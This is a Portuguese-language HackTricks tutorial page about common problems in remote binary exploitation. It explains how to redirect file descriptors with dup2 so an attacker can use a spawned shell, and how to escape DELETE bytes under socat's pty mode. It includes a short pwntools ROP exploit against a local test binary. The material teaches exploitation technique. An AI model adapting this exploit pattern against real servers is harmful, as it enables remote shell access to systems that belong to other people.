Common Exploiting Problems

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

FDs na Exploração Remota

Ao enviar um exploit para um servidor remoto que chama system('/bin/sh') por exemplo, isso será executado no processo do servidor, e /bin/sh esperará entrada do stdin (FD: 0) e imprimirá a saída no stdout e stderr (FDs 1 e 2). Portanto, o atacante não poderá interagir com o shell.

Uma maneira de corrigir isso é supor que quando o servidor foi iniciado, ele criou o número do FD 3 (para escutar) e que então, sua conexão estará no número do FD 4. Portanto, é possível usar a chamada de sistema dup2 para duplicar o stdin (FD 0) e o stdout (FD 1) no FD 4 (o da conexão do atacante) para tornar viável o contato com o shell uma vez que ele é executado.

Exemplo de exploit daqui:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Note que o socat já transfere stdin e stdout para o socket. No entanto, o modo pty inclui caracteres DELETE. Portanto, se você enviar um \x7f (DELETE -) ele irá apagar o caractere anterior do seu exploit.

Para contornar isso, o caractere de escape \x16 deve ser adicionado antes de qualquer \x7f enviado.

Aqui você pode encontrar um exemplo desse comportamento.

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Last updated